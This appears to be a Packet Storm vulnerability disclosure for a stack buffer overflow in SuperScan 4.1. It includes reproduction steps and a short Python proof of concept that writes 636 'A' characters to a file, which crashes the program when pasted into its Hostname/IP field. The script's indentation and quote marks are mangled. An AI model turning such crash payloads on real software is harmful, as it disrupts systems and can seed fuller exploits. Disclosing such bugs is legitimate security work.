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SuperScan 4.1 Buffer Overflow

🗓️ 11 Mar 2025 00:00:00Reported by Ahmet Ümit BayramType 
packetstorm
 packetstorm
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Exploit for SuperScan 4.1 causing buffer overflow when inputting payload into Hostname/IP field.

Code
Exploit Title: SuperScan v4.1 - Stack Buffer Overflow (PoC)
    Discovered by: Ahmet Ümit BAYRAM
    Discovered Date: 18.09.2023
    Vendor: Foundstone Inc
    Software Link: https://delivery2.filecroco.com/kits_6/superscan-4.1.zip
    Tested Version: v4.1 (latest)
    Tested on: Windows 2019 Server 64bit
    Steps to Reproduce
    
    Open the SuperScan application.
    Paste the content of poc.txt into the Hostname / IP box.
    Click the arrow button next to the box.
    The application crashes due to a buffer overflow.
    
    Proof of Concept (PoC)
    
    The following Python script generates a poc.txt file containing the
    payload. When loaded into the Hostname / IP field, it triggers a buffer
    overflow and crashes the application.
    
    #!/usr/bin/python
    
    poc = ‘A’ * 636
    
    try:
    with open("poc.txt", "w") as file:
    file.write(poc)
    print("POC is created")
    except Exception as e:
    print("POC is not created:", e)

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